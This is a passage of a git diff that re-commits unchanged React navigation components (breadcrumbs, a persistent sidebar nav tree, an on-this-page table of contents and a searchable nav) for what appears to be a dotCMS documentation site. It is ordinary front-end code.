- /**
- * The current path/slug to find in the items
- */
- slug: string;
-
- /**
- * Property name that contains children items (default: 'children')
- */
- childrenKey?: string;
-
- /**
- * Optional items to append at the end of breadcrumbs
- */
- appendItems?: BreadcrumbItem[];
-
- /**
- * Base URL path (default: '/docs/')
- */
- basePath?: string;
-
- /**
- * Property to use for item identification (default: 'urlTitle')
- */
- identifierKey?: string;
-
- /**
- * Function to generate URL for each breadcrumb item
- * @param item The breadcrumb item
- * @param basePath The base path
- * @param identifierKey The identifier key
- * @returns The URL for the breadcrumb item
- */
- urlGenerator?: (item: BreadcrumbItem, basePath: string, identifierKey: string) => string;
-
- /**
- * URL for the home icon (default: '/docs/table-of-contents')
- */
- homeUrl?: string;
-}
-
-const Breadcrumbs: React.FC = React.memo(({
- items,
- slug,
- childrenKey = 'children',
- appendItems = [],
- basePath = '/docs/',
- identifierKey = 'urlTitle',
- urlGenerator,
- homeUrl = '/docs/table-of-contents'
-}) => {
- const [breadcrumbs, setBreadcrumbs] = useState([]);
-
- // Remove any prefix from the slug if needed
- const relevantPath = slug.replace(/^\/docs\/latest\//, '');
-
- // Default URL generator function
- const defaultUrlGenerator = (item: BreadcrumbItem, basePath: string, idKey: string): string => {
- return `${basePath}${item[idKey]}`;
- };
-
- // Use provided urlGenerator or default
- const generateUrl = urlGenerator || defaultUrlGenerator;
-
- useEffect(() => {
- const findPath = (
- itemsToSearch: BreadcrumbItem[] | null | undefined,
- target: string,
- currentPath: BreadcrumbItem[] = []
- ): boolean => {
- // If itemsToSearch is not an array or is empty, return false
- if (!Array.isArray(itemsToSearch) || itemsToSearch.length === 0) {
- return false;
- }
-
- for (const item of itemsToSearch) {
- const newPath = [...currentPath, item];
-
- // Check if this is the target item
- if (item[identifierKey] === target) {
- setBreadcrumbs(newPath);
- return true;
- }
-
- // Check children if they exist
- const children = item[childrenKey];
- if (children && Array.isArray(children) && children.length > 0) {
- if (findPath(children, target, newPath)) {
- return true;
- }
- }
- }
- return false;
- };
-
- findPath(items, relevantPath);
- }, [items, relevantPath, childrenKey, identifierKey]);
-
- if (breadcrumbs.length === 0) {
- return null;
- }
-
- return (
-
-
-
-
-
- {breadcrumbs.map((item, index) => (
-
-
-
- {item.title}
-
-
- ))}
-
- {appendItems.map((item, index) => (
-
-
- {item.url ? (
-
- {item.title}
-
- ) : (
- {item.title}
- )}
-
- ))}
-
- );
-});
-
-Breadcrumbs.displayName = 'Breadcrumbs';
-
-export default Breadcrumbs;
+"use client"
+
+import React, { useState, useEffect } from 'react';
+import Link from 'next/link';
+import { ChevronRight, Home } from 'lucide-react';
+import { cn } from "@/util/utils";
+
+export interface BreadcrumbItem {
+ title: string;
+ urlTitle?: string;
+ url?: string;
+ id?: string | number;
+ [key: string]: any; // For additional properties
+}
+
+export interface BreadcrumbsProps {
+ /**
+ * The hierarchical items to build breadcrumbs from
+ */
+ items: BreadcrumbItem[];
+
+ /**
+ * The current path/slug to find in the items
+ */
+ slug: string;
+
+ /**
+ * Property name that contains children items (default: 'children')
+ */
+ childrenKey?: string;
+
+ /**
+ * Optional items to append at the end of breadcrumbs
+ */
+ appendItems?: BreadcrumbItem[];
+
+ /**
+ * Base URL path (default: '/docs/')
+ */
+ basePath?: string;
+
+ /**
+ * Property to use for item identification (default: 'urlTitle')
+ */
+ identifierKey?: string;
+
+ /**
+ * Function to generate URL for each breadcrumb item
+ * @param item The breadcrumb item
+ * @param basePath The base path
+ * @param identifierKey The identifier key
+ * @returns The URL for the breadcrumb item
+ */
+ urlGenerator?: (item: BreadcrumbItem, basePath: string, identifierKey: string) => string;
+
+ /**
+ * URL for the home icon (default: '/docs/table-of-contents')
+ */
+ homeUrl?: string;
+}
+
+const Breadcrumbs: React.FC = React.memo(({
+ items,
+ slug,
+ childrenKey = 'children',
+ appendItems = [],
+ basePath = '/docs/',
+ identifierKey = 'urlTitle',
+ urlGenerator,
+ homeUrl = '/docs/table-of-contents'
+}) => {
+ const [breadcrumbs, setBreadcrumbs] = useState([]);
+
+ // Remove any prefix from the slug if needed
+ const relevantPath = slug.replace(/^\/docs\/latest\//, '');
+
+ // Default URL generator function
+ const defaultUrlGenerator = (item: BreadcrumbItem, basePath: string, idKey: string): string => {
+ return `${basePath}${item[idKey]}`;
+ };
+
+ // Use provided urlGenerator or default
+ const generateUrl = urlGenerator || defaultUrlGenerator;
+
+ useEffect(() => {
+ const findPath = (
+ itemsToSearch: BreadcrumbItem[] | null | undefined,
+ target: string,
+ currentPath: BreadcrumbItem[] = []
+ ): boolean => {
+ // If itemsToSearch is not an array or is empty, return false
+ if (!Array.isArray(itemsToSearch) || itemsToSearch.length === 0) {
+ return false;
+ }
+
+ for (const item of itemsToSearch) {
+ const newPath = [...currentPath, item];
+
+ // Check if this is the target item
+ if (item[identifierKey] === target) {
+ setBreadcrumbs(newPath);
+ return true;
+ }
+
+ // Check children if they exist
+ const children = item[childrenKey];
+ if (children && Array.isArray(children) && children.length > 0) {
+ if (findPath(children, target, newPath)) {
+ return true;
+ }
+ }
+ }
+ return false;
+ };
+
+ findPath(items, relevantPath);
+ }, [items, relevantPath, childrenKey, identifierKey]);
+
+ if (breadcrumbs.length === 0) {
+ return null;
+ }
+
+ return (
+
+
+
+
+
+ {breadcrumbs.map((item, index) => (
+
+
+
+ {item.title}
+
+
+ ))}
+
+ {appendItems.map((item, index) => (
+
+
+ {item.url ? (
+
+ {item.title}
+
+ ) : (
+ {item.title}
+ )}
+
+ ))}
+
+ );
+});
+
+Breadcrumbs.displayName = 'Breadcrumbs';
+
+export default Breadcrumbs;
diff --git a/components/navigation/NavTree.tsx b/components/navigation/NavTree.tsx
index 26e70bf..2dbd705 100644
--- a/components/navigation/NavTree.tsx
+++ b/components/navigation/NavTree.tsx
@@ -1,262 +1,262 @@
-"use client";
-
-import React, { useState, useCallback, useEffect, useLayoutEffect, useRef } from "react";
-import SubNavTree from "./SubNavTree";
-import Link from "next/link";
-const SCROLL_STORAGE_KEY = "docs-nav-scroll";
-export const NAV_STORAGE_KEY = "subnav-open-sections";
-type NavTreeProps = {
- items?: any[];
- nav?: {
- entity?: {
- children?: Array<{
- title: string;
- href: string;
- children?: any[];
- }>;
- };
- };
- currentPath?: string;
- level?: number;
- isMobile?: boolean;
- resetNav?: boolean;
-};
-
-function useStickyState(defaultValue: any, name: string) {
- const [value, setValue] = useState(defaultValue);
- const [isHydrated, setIsHydrated] = useState(false);
-
- // Load from localStorage after hydration
- useEffect(() => {
- if (typeof window !== "undefined" && window.localStorage) {
- const persistedValue = window.localStorage.getItem(name);
- if (persistedValue !== null) {
- setValue(JSON.parse(persistedValue));
- }
- }
- setIsHydrated(true);
- }, [name]);
-
- // Save to localStorage when value changes (but only after hydration)
- useEffect(() => {
- if (isHydrated && typeof window !== "undefined" && window.localStorage) {
- window.localStorage.setItem(name, JSON.stringify(value));
- }
- }, [name, value, isHydrated]);
-
- return [value, setValue];
-}
-
-const NavTree = React.memo(
- ({ items, nav, currentPath = "", level = 0, isMobile = false,resetNav = false }: NavTreeProps) => {
- // Debug the nav structure in detail
-
- const [openSections, setOpenSections] = useStickyState([], NAV_STORAGE_KEY);
- const [savedScroll, setSavedScroll] = useStickyState(0, SCROLL_STORAGE_KEY);
- const [isInitialSetupComplete, setIsInitialSetupComplete] = useState(false);
- const navRef = useRef(null);
- const timeoutRefs = useRef>(new Set());
-
- // Cleanup timeouts on unmount
- useEffect(() => {
- const timeouts = timeoutRefs.current;
- return () => {
- timeouts.forEach(timeout => clearTimeout(timeout));
- timeouts.clear();
- };
- }, []);
-
- // Handle navigation reset on client-side only
- useEffect(() => {
- if (resetNav && typeof window !== "undefined" && window.localStorage) {
- // Clear localStorage
- window.localStorage.setItem(NAV_STORAGE_KEY, JSON.stringify([]));
- window.localStorage.setItem(SCROLL_STORAGE_KEY, JSON.stringify(0));
-
- // Reset component state to default values
- setOpenSections([]);
- setSavedScroll(0);
- }
- }, [resetNav, setOpenSections, setSavedScroll]);
-
- // Restore saved scroll position on mount, then enable auto-centering
- useEffect(() => {
- if (isMobile) {
- setIsInitialSetupComplete(true);
- return;
- }
-
- const navElement = navRef.current;
- if (!navElement) {
- setIsInitialSetupComplete(true);
- return;
- }
-
- // Restore scroll position immediately
- navElement.scrollTop = savedScroll;
- setIsInitialSetupComplete(true);
- }, [isMobile]);
-
- // Helper function to find active link with flexible matching
- const findActiveLink = useCallback((navElement: HTMLElement) => {
- if (!currentPath) return null;
-
- // Try exact match first
- let activeLink = navElement.querySelector(`a[href="${currentPath}"]`) as HTMLElement;
- if (activeLink) return activeLink;
-
- // Try with leading slash
- activeLink = navElement.querySelector(`a[href="/${currentPath}"]`) as HTMLElement;
- if (activeLink) return activeLink;
-
- // Try ending with currentPath
- activeLink = navElement.querySelector(`a[href$="/${currentPath}"]`) as HTMLElement;
- if (activeLink) return activeLink;
-
- // Try containing currentPath
- const allLinks = navElement.querySelectorAll('a[href]');
- for (const link of allLinks) {
- const href = link.getAttribute('href');
- if (href && (href.includes(currentPath) || href.endsWith(`/${currentPath}`))) {
- return link as HTMLElement;
- }
- }
-
- return null;
- }, [currentPath]);
-
- // Helper function to add highlight with cleanup
- const addHighlightWithCleanup = useCallback((element: HTMLElement) => {
- element.classList.add('bg-blue-100', 'dark:bg-blue-900/30', 'ring-2', 'ring-blue-300', 'dark:ring-blue-700');
-
- const timeoutId = setTimeout(() => {
- // Check if element is still in DOM before modifying
- if (element.isConnected) {
- element.classList.remove('bg-blue-100', 'dark:bg-blue-900/30', 'ring-2', 'ring-blue-300', 'dark:ring-blue-700');
- }
- timeoutRefs.current.delete(timeoutId);
- }, 2000);
-
- timeoutRefs.current.add(timeoutId);
- }, []);
-
- // Helper function to scroll to active link
- const scrollToActiveLink = useCallback((navElement: HTMLElement, activeLink: HTMLElement) => {
- const navHeight = navElement.clientHeight;
- const linkTop = activeLink.offsetTop;
- const linkHeight = activeLink.offsetHeight;
- const scrollTop = linkTop - (navHeight / 2) + (linkHeight / 2);
-
- navElement.scrollTop = Math.max(0, scrollTop);
- addHighlightWithCleanup(activeLink);
- setSavedScroll(Math.max(0, scrollTop));
- }, [addHighlightWithCleanup, setSavedScroll]);
-
- // Auto-center current page after initial setup is complete
- useLayoutEffect(() => {
- if (isMobile || !currentPath || !isInitialSetupComplete) return;
-
- const navElement = navRef.current;
- if (!navElement) return;
-
- // Only proceed if navigation items are actually rendered
- const hasItems = (items && items.length > 0) || (nav && nav.entity?.children && nav.entity.children.length > 0);
- if (!hasItems) return;
-
- const activeLink = findActiveLink(navElement);
- if (activeLink) {
- scrollToActiveLink(navElement, activeLink);
- }
- }, [currentPath, items, nav, isMobile, isInitialSetupComplete, findActiveLink, scrollToActiveLink]);
-
- // Handle scroll position persistence (only after initial setup is complete)
- useEffect(() => {
- if (isMobile || !isInitialSetupComplete) return;
-
- const navElement = navRef.current;
- if (!navElement) return;
-
- const handleScroll = () => {
- if (navElement) {
- setSavedScroll(Math.round(navElement.scrollTop));
- }
- };
-
- navElement.addEventListener("scroll", handleScroll);
- return () => navElement.removeEventListener("scroll", handleScroll);
- }, [setSavedScroll, isMobile, isInitialSetupComplete]);
-
- const mobileStyles = isMobile
- ? "pt-4"
- : "h-[calc(100vh-4rem)] sticky top-16 pt-8";
-
- return (
-
-
-
- {items ? items.map((item) => (
-
-
-
- {item.navTitle || item.title}
-
-
-
-
- )) : (
-
- {/* Debug info visible */}
-
- Navigation: {nav?.entity?.children?.length || 0} items
-
-
- {nav?.entity?.children?.map((item: any) => (
-
-
-
- {item.navTitle || item.title || "Unnamed Link"}
-
-
- href: {item.href || "none"}
-
-
- {item.children && item.children.length > 0 && (
-
- )}
-
- ))}
-
- )}
-
-
-
- );
- }
-);
-
-NavTree.displayName = "NavTree";
-
-export default NavTree;
+"use client";
+
+import React, { useState, useCallback, useEffect, useLayoutEffect, useRef } from "react";
+import SubNavTree from "./SubNavTree";
+import Link from "next/link";
+const SCROLL_STORAGE_KEY = "docs-nav-scroll";
+export const NAV_STORAGE_KEY = "subnav-open-sections";
+type NavTreeProps = {
+ items?: any[];
+ nav?: {
+ entity?: {
+ children?: Array<{
+ title: string;
+ href: string;
+ children?: any[];
+ }>;
+ };
+ };
+ currentPath?: string;
+ level?: number;
+ isMobile?: boolean;
+ resetNav?: boolean;
+};
+
+function useStickyState(defaultValue: any, name: string) {
+ const [value, setValue] = useState(defaultValue);
+ const [isHydrated, setIsHydrated] = useState(false);
+
+ // Load from localStorage after hydration
+ useEffect(() => {
+ if (typeof window !== "undefined" && window.localStorage) {
+ const persistedValue = window.localStorage.getItem(name);
+ if (persistedValue !== null) {
+ setValue(JSON.parse(persistedValue));
+ }
+ }
+ setIsHydrated(true);
+ }, [name]);
+
+ // Save to localStorage when value changes (but only after hydration)
+ useEffect(() => {
+ if (isHydrated && typeof window !== "undefined" && window.localStorage) {
+ window.localStorage.setItem(name, JSON.stringify(value));
+ }
+ }, [name, value, isHydrated]);
+
+ return [value, setValue];
+}
+
+const NavTree = React.memo(
+ ({ items, nav, currentPath = "", level = 0, isMobile = false,resetNav = false }: NavTreeProps) => {
+ // Debug the nav structure in detail
+
+ const [openSections, setOpenSections] = useStickyState([], NAV_STORAGE_KEY);
+ const [savedScroll, setSavedScroll] = useStickyState(0, SCROLL_STORAGE_KEY);
+ const [isInitialSetupComplete, setIsInitialSetupComplete] = useState(false);
+ const navRef = useRef(null);
+ const timeoutRefs = useRef>(new Set());
+
+ // Cleanup timeouts on unmount
+ useEffect(() => {
+ const timeouts = timeoutRefs.current;
+ return () => {
+ timeouts.forEach(timeout => clearTimeout(timeout));
+ timeouts.clear();
+ };
+ }, []);
+
+ // Handle navigation reset on client-side only
+ useEffect(() => {
+ if (resetNav && typeof window !== "undefined" && window.localStorage) {
+ // Clear localStorage
+ window.localStorage.setItem(NAV_STORAGE_KEY, JSON.stringify([]));
+ window.localStorage.setItem(SCROLL_STORAGE_KEY, JSON.stringify(0));
+
+ // Reset component state to default values
+ setOpenSections([]);
+ setSavedScroll(0);
+ }
+ }, [resetNav, setOpenSections, setSavedScroll]);
+
+ // Restore saved scroll position on mount, then enable auto-centering
+ useEffect(() => {
+ if (isMobile) {
+ setIsInitialSetupComplete(true);
+ return;
+ }
+
+ const navElement = navRef.current;
+ if (!navElement) {
+ setIsInitialSetupComplete(true);
+ return;
+ }
+
+ // Restore scroll position immediately
+ navElement.scrollTop = savedScroll;
+ setIsInitialSetupComplete(true);
+ }, [isMobile]);
+
+ // Helper function to find active link with flexible matching
+ const findActiveLink = useCallback((navElement: HTMLElement) => {
+ if (!currentPath) return null;
+
+ // Try exact match first
+ let activeLink = navElement.querySelector(`a[href="${currentPath}"]`) as HTMLElement;
+ if (activeLink) return activeLink;
+
+ // Try with leading slash
+ activeLink = navElement.querySelector(`a[href="/${currentPath}"]`) as HTMLElement;
+ if (activeLink) return activeLink;
+
+ // Try ending with currentPath
+ activeLink = navElement.querySelector(`a[href$="/${currentPath}"]`) as HTMLElement;
+ if (activeLink) return activeLink;
+
+ // Try containing currentPath
+ const allLinks = navElement.querySelectorAll('a[href]');
+ for (const link of allLinks) {
+ const href = link.getAttribute('href');
+ if (href && (href.includes(currentPath) || href.endsWith(`/${currentPath}`))) {
+ return link as HTMLElement;
+ }
+ }
+
+ return null;
+ }, [currentPath]);
+
+ // Helper function to add highlight with cleanup
+ const addHighlightWithCleanup = useCallback((element: HTMLElement) => {
+ element.classList.add('bg-blue-100', 'dark:bg-blue-900/30', 'ring-2', 'ring-blue-300', 'dark:ring-blue-700');
+
+ const timeoutId = setTimeout(() => {
+ // Check if element is still in DOM before modifying
+ if (element.isConnected) {
+ element.classList.remove('bg-blue-100', 'dark:bg-blue-900/30', 'ring-2', 'ring-blue-300', 'dark:ring-blue-700');
+ }
+ timeoutRefs.current.delete(timeoutId);
+ }, 2000);
+
+ timeoutRefs.current.add(timeoutId);
+ }, []);
+
+ // Helper function to scroll to active link
+ const scrollToActiveLink = useCallback((navElement: HTMLElement, activeLink: HTMLElement) => {
+ const navHeight = navElement.clientHeight;
+ const linkTop = activeLink.offsetTop;
+ const linkHeight = activeLink.offsetHeight;
+ const scrollTop = linkTop - (navHeight / 2) + (linkHeight / 2);
+
+ navElement.scrollTop = Math.max(0, scrollTop);
+ addHighlightWithCleanup(activeLink);
+ setSavedScroll(Math.max(0, scrollTop));
+ }, [addHighlightWithCleanup, setSavedScroll]);
+
+ // Auto-center current page after initial setup is complete
+ useLayoutEffect(() => {
+ if (isMobile || !currentPath || !isInitialSetupComplete) return;
+
+ const navElement = navRef.current;
+ if (!navElement) return;
+
+ // Only proceed if navigation items are actually rendered
+ const hasItems = (items && items.length > 0) || (nav && nav.entity?.children && nav.entity.children.length > 0);
+ if (!hasItems) return;
+
+ const activeLink = findActiveLink(navElement);
+ if (activeLink) {
+ scrollToActiveLink(navElement, activeLink);
+ }
+ }, [currentPath, items, nav, isMobile, isInitialSetupComplete, findActiveLink, scrollToActiveLink]);
+
+ // Handle scroll position persistence (only after initial setup is complete)
+ useEffect(() => {
+ if (isMobile || !isInitialSetupComplete) return;
+
+ const navElement = navRef.current;
+ if (!navElement) return;
+
+ const handleScroll = () => {
+ if (navElement) {
+ setSavedScroll(Math.round(navElement.scrollTop));
+ }
+ };
+
+ navElement.addEventListener("scroll", handleScroll);
+ return () => navElement.removeEventListener("scroll", handleScroll);
+ }, [setSavedScroll, isMobile, isInitialSetupComplete]);
+
+ const mobileStyles = isMobile
+ ? "pt-4"
+ : "h-[calc(100vh-4rem)] sticky top-16 pt-8";
+
+ return (
+
+
+
+ {items ? items.map((item) => (
+
+
+
+ {item.navTitle || item.title}
+
+
+
+
+ )) : (
+
+ {/* Debug info visible */}
+
+ Navigation: {nav?.entity?.children?.length || 0} items
+
+
+ {nav?.entity?.children?.map((item: any) => (
+
+
+
+ {item.navTitle || item.title || "Unnamed Link"}
+
+
+ href: {item.href || "none"}
+
+
+ {item.children && item.children.length > 0 && (
+
+ )}
+
+ ))}
+
+ )}
+
+
+
+ );
+ }
+);
+
+NavTree.displayName = "NavTree";
+
+export default NavTree;
diff --git a/components/navigation/OnThisPage.js b/components/navigation/OnThisPage.js
index 7e887e9..5f6fc51 100644
--- a/components/navigation/OnThisPage.js
+++ b/components/navigation/OnThisPage.js
@@ -1,106 +1,106 @@
-"use client";
-
-import { useEffect, useState } from 'react';
-import Link from 'next/link';
-import { smoothScroll } from '@/util/smoothScroll';
-
-export const OnThisPage = ({
- selectors = 'main h1, main h2, main h3, main h4, .dot-block-editor h1, .dot-block-editor h2, .dot-block-editor h3, .dot-block-editor h4',
- showOnThisPage = true,
- titleOverride = undefined
-}) => {
- const [items, setItems] = useState([]);
- const [mySelectors, setMySelectors] = useState(selectors);
-
- useEffect(() => {
- const generateTOC = () => {
- const headers = document.querySelectorAll(mySelectors);
- const toc = Array.from(headers)
- .filter(header => {
- // Only include visible headers that have IDs (which should be all of them due to rehype-slug)
- if (!header.id) {
- // Generate a unique ID if none exists
- // This is a hack to ensure h1 headers are included in the TOC
- header.id = header.textContent.replace(/\s+/g, '-').toLowerCase();
- }
- return header.offsetParent !== null && header.id;
- })
- .map((header) => ({
- id: header.id,
- title: header.textContent.replace(/#/g, '').trim(),
- level: parseInt(header.tagName[1])
- }));
-
- setItems(toc);
- };
-
- // Run once after a short delay to ensure content is rendered
- const timer = setTimeout(generateTOC, 0);
-
- // Only re-run on significant DOM changes
- const observer = new MutationObserver((mutations) => {
- const hasSignificantChanges = mutations.some(mutation =>
- mutation.type === 'childList' &&
- Array.from(mutation.addedNodes).some(node =>
- node.nodeType === 1 &&
- node.matches &&
- node.matches(mySelectors)
- )
- );
-
- if (hasSignificantChanges) {
- generateTOC();
- }
- });
-
- const markdownContent = document.querySelector('main');
- if (markdownContent) {
- observer.observe(markdownContent, {
- childList: true,
- subtree: true
- });
- }
-
- return () => {
- clearTimeout(timer);
- observer.disconnect();
- };
- }, [mySelectors]);
-
- if (items.length === 0) {
- return null;
- }
-
- return (
-
- {showOnThisPage && (
-
On This Page
- )}
-
-
- {items.map((item) => (
-
-
- {item.level === 1 ? (titleOverride || item.title) : item.title}
-
-
- ))}
-
-
-
- );
-};
-
+"use client";
+
+import { useEffect, useState } from 'react';
+import Link from 'next/link';
+import { smoothScroll } from '@/util/smoothScroll';
+
+export const OnThisPage = ({
+ selectors = 'main h1, main h2, main h3, main h4, .dot-block-editor h1, .dot-block-editor h2, .dot-block-editor h3, .dot-block-editor h4',
+ showOnThisPage = true,
+ titleOverride = undefined
+}) => {
+ const [items, setItems] = useState([]);
+ const [mySelectors, setMySelectors] = useState(selectors);
+
+ useEffect(() => {
+ const generateTOC = () => {
+ const headers = document.querySelectorAll(mySelectors);
+ const toc = Array.from(headers)
+ .filter(header => {
+ // Only include visible headers that have IDs (which should be all of them due to rehype-slug)
+ if (!header.id) {
+ // Generate a unique ID if none exists
+ // This is a hack to ensure h1 headers are included in the TOC
+ header.id = header.textContent.replace(/\s+/g, '-').toLowerCase();
+ }
+ return header.offsetParent !== null && header.id;
+ })
+ .map((header) => ({
+ id: header.id,
+ title: header.textContent.replace(/#/g, '').trim(),
+ level: parseInt(header.tagName[1])
+ }));
+
+ setItems(toc);
+ };
+
+ // Run once after a short delay to ensure content is rendered
+ const timer = setTimeout(generateTOC, 0);
+
+ // Only re-run on significant DOM changes
+ const observer = new MutationObserver((mutations) => {
+ const hasSignificantChanges = mutations.some(mutation =>
+ mutation.type === 'childList' &&
+ Array.from(mutation.addedNodes).some(node =>
+ node.nodeType === 1 &&
+ node.matches &&
+ node.matches(mySelectors)
+ )
+ );
+
+ if (hasSignificantChanges) {
+ generateTOC();
+ }
+ });
+
+ const markdownContent = document.querySelector('main');
+ if (markdownContent) {
+ observer.observe(markdownContent, {
+ childList: true,
+ subtree: true
+ });
+ }
+
+ return () => {
+ clearTimeout(timer);
+ observer.disconnect();
+ };
+ }, [mySelectors]);
+
+ if (items.length === 0) {
+ return null;
+ }
+
+ return (
+
+ {showOnThisPage && (
+
On This Page
+ )}
+
+
+ {items.map((item) => (
+
+
+ {item.level === 1 ? (titleOverride || item.title) : item.title}
+
+
+ ))}
+
+
+
+ );
+};
+
export default OnThisPage;
\ No newline at end of file
diff --git a/components/navigation/RedesignedNavTree.tsx b/components/navigation/RedesignedNavTree.tsx
index 2a06944..8c5e165 100644
--- a/components/navigation/RedesignedNavTree.tsx
+++ b/components/navigation/RedesignedNavTree.tsx
@@ -1,803 +1,803 @@
-"use client";
-
-import React, { useState, useEffect, useCallback, useMemo } from 'react';
-import Link from 'next/link';
-import { ChevronDown, ChevronRight, BookOpen, HelpCircle, Search, X } from 'lucide-react';
-import { cn } from '@/util/utils';
-import { fetchNavData } from '@/util/page.utils';
-import { type NavSection as ServerNavSection } from '@/util/navTransform';
-
-// Types
-interface NavItem {
- title: string;
- href: string;
- icon?: React.ReactNode;
- target?: string;
- items?: NavItem[];
-}
-
-interface NavSection {
- title: string;
- items: NavItem[];
-}
-
-interface RedesignedNavTreeProps {
- currentPath?: string;
- isMobile?: boolean;
- className?: string;
- items?: any[]; // Rich old nav data for search
- initialSections?: ServerNavSection[]; // Server-fetched, transformed nav sections
-}
-
-// Search-related interfaces
-interface SearchableItem {
- title: string;
- navTitle?: string;
- urlTitle: string;
- tag?: string[];
- seoDescription?: string;
- path: string;
- parentPath?: string[];
-}
-
-interface SearchResult {
- item: SearchableItem;
- score: number;
- matchedFields: string[];
-}
-
-interface NavApiResponse {
- entity: NavEntity;
-}
-
-interface NavEntity {
- children: ApiNavItem[];
-}
-
-interface ApiNavItem {
- type: 'folder' | 'link';
- title: string;
- href?: string;
- code?: string | null;
- folder?: string;
- order: number;
- target?: string;
- children: ApiNavItem[];
-}
-
-const MAX_QUICK_SEARCH_RESULTS = 20;
-
-// Quippy taglines for the navigation header
-const NAVIGATION_TAGLINES = [
- "Connecting the dots",
- "dotCoMprehenSive",
- "Context for content",
- "Dot your i's, cross your t's",
- "Until you're content!",
- "Call it 'docCMS'",
- "dot doc dot doc dot doc",
- "dotCMS under the microscope",
- "Organized chaos breeds wisdom",
- "Enter the dot-matrix",
- "We're dotty about content",
- "That upon which we dote",
- "Content management enlightenment",
- "Can't spell 'Eureka!' without a dot"
-];
-
-// Get a random tagline on each page load
-function getRandomTagline(): string {
- const randomIndex = Math.floor(Math.random() * NAVIGATION_TAGLINES.length);
- return NAVIGATION_TAGLINES[randomIndex];
-}
-
-// Search functionality
-const SEARCH_WEIGHTS = {
- title: 100,
- navTitle: 90,
- urlTitle: 60,
- tag: 50,
- seoDescription: 20
-};
-
-// Flatten nested items structure for search (handles both docs and nav API data)
-function flattenItems(items: any[], parentPath: string[] = []): SearchableItem[] {
- const flattened: SearchableItem[] = [];
-
- if (!items || !Array.isArray(items)) return flattened;
-
- items.forEach(item => {
- // Handle documentation API structure (getSideNav data)
- if (item.urlTitle) {
- const searchableItem: SearchableItem = {
- title: item.title || item.navTitle || '',
- navTitle: item.navTitle,
- urlTitle: item.urlTitle,
- tag: item.tag,
- seoDescription: item.seoDescription,
- path: `/docs/${item.urlTitle}`,
- parentPath: [...parentPath]
- };
-
- flattened.push(searchableItem);
- }
-
- // Handle navigation API structure (fetchNavData data) - links and pages
- else if ((item.type === 'link' || item.type === 'page') && (item.code || item.href)) {
- const urlTitle = item.code || (item.href ? item.href.split('/').pop() : '');
- if (urlTitle) {
- const searchableItem: SearchableItem = {
- title: item.title || '',
- navTitle: item.title,
- urlTitle: urlTitle,
- tag: item.tag || [],
- seoDescription: item.seoDescription || '',
- path: item.code ? `/docs/${item.code}` : item.href || '#',
- parentPath: [...parentPath]
- };
-
- flattened.push(searchableItem);
- }
- }
-
- // Recursively process children (both API structures)
- const children = item.dotcmsdocumentationchildren || item.children;
- if (children && children.length > 0) {
- const childPath = item.title ? [...parentPath, item.title] : parentPath;
- flattened.push(...flattenItems(children, childPath));
- }
- });
-
- return flattened;
-}
-
-// Calculate search score for an item
-function calculateScore(item: SearchableItem, query: string): { score: number; matchedFields: string[] } {
- const lowerQuery = query.toLowerCase();
- let totalScore = 0;
- const matchedFields: string[] = [];
-
- // Helper function to calculate field score
- const scoreField = (fieldValue: string | string[] | undefined, fieldName: string, weight: number) => {
- if (!fieldValue) return 0;
-
- const values = Array.isArray(fieldValue) ? fieldValue : [fieldValue];
- let fieldScore = 0;
-
- values.forEach(value => {
- const lowerValue = value.toLowerCase();
-
- // Exact match gets full weight
- if (lowerValue === lowerQuery) {
- fieldScore += weight;
- matchedFields.push(fieldName);
- }
- // Starts with query gets 80% weight
- else if (lowerValue.startsWith(lowerQuery)) {
- fieldScore += weight * 0.8;
- matchedFields.push(fieldName);
- }
- // Contains query gets 60% weight
- else if (lowerValue.includes(lowerQuery)) {
- fieldScore += weight * 0.6;
- matchedFields.push(fieldName);
- }
- // Fuzzy match gets 30% weight (simple word boundary check)
- else if (lowerValue.split(/\s+/).some(word => word.includes(lowerQuery))) {
- fieldScore += weight * 0.3;
- matchedFields.push(fieldName);
- }
- });
-
- return fieldScore;
- };
-
- // Score each field
- totalScore += scoreField(item.title, 'title', SEARCH_WEIGHTS.title);
- totalScore += scoreField(item.navTitle, 'navTitle', SEARCH_WEIGHTS.navTitle);
- totalScore += scoreField(item.urlTitle, 'urlTitle', SEARCH_WEIGHTS.urlTitle);
- totalScore += scoreField(item.tag, 'tag', SEARCH_WEIGHTS.tag);
- totalScore += scoreField(item.seoDescription, 'seoDescription', SEARCH_WEIGHTS.seoDescription);
-
- return { score: totalScore, matchedFields: Array.from(new Set(matchedFields)) };
-}
-
-// Perform search
-function performSearch(items: SearchableItem[], query: string): SearchResult[] {
- if (!query.trim() || query.length < 2) return [];
-
- const results: SearchResult[] = [];
-
- items.forEach(item => {
- const { score, matchedFields } = calculateScore(item, query);
-
- if (score > 0) {
- results.push({
- item,
- score,
- matchedFields
- });
- }
- });
-
- // Sort by score (highest first) and limit results
- return results
- .sort((a, b) => b.score - a.score)
- .slice(0, MAX_QUICK_SEARCH_RESULTS); // Show top MAX_QUICK_SEARCH_RESULTS results
-}
-
-// Highlight matching text in search results
-function highlightMatch(text: string, query: string): React.ReactNode {
- if (!query.trim()) return text;
-
- const lowerText = text.toLowerCase();
- const lowerQuery = query.toLowerCase();
-
- if (!lowerText.includes(lowerQuery)) return text;
-
- const parts: React.ReactNode[] = [];
- let lastIndex = 0;
-
- // Find all matches
- let index = lowerText.indexOf(lowerQuery, lastIndex);
- while (index !== -1) {
- // Add text before match
- if (index > lastIndex) {
- parts.push(text.slice(lastIndex, index));
- }
-
- // Add highlighted match
- parts.push(
-
- {text.slice(index, index + query.length)}
-
- );
-
- lastIndex = index + query.length;
- index = lowerText.indexOf(lowerQuery, lastIndex);
- }
-
- // Add remaining text
- if (lastIndex < text.length) {
- parts.push(text.slice(lastIndex));
- }
-
- return <>{parts}>;
-}
-
-// Transform API response to navigation sections
-function transformApiResponseToNavSections(apiData: ApiNavItem[]): NavSection[] {
- if (!apiData || !Array.isArray(apiData)) {
- return [];
- }
-
- // Simple transformation without visual metadata
- return apiData
- .filter(item => item.type === 'folder')
- .sort((a, b) => a.order - b.order)
- .map(section => ({
- title: section.title,
- items: transformApiItemsToNavItems(section.children || [])
- }));
-}
-
-// Helper function to process link data according to user's rules
-function processLinkHref(linkData: ApiNavItem): string {
- // If code is non-null, use /docs/{code}
- if (linkData.code && linkData.code.trim() !== '') {
- return `/docs/${linkData.code}`;
- }
-
- // If code is null but href starts with https://, use that
- if (linkData.href) {
- if (linkData.href.startsWith('https://')) {
- return linkData.href;
- }
-
- // Otherwise, strip domain to make it relative
- try {
- const url = new URL(linkData.href);
- return url.pathname + url.search + url.hash;
- } catch (e) {
- // If it's not a valid URL, treat it as already relative
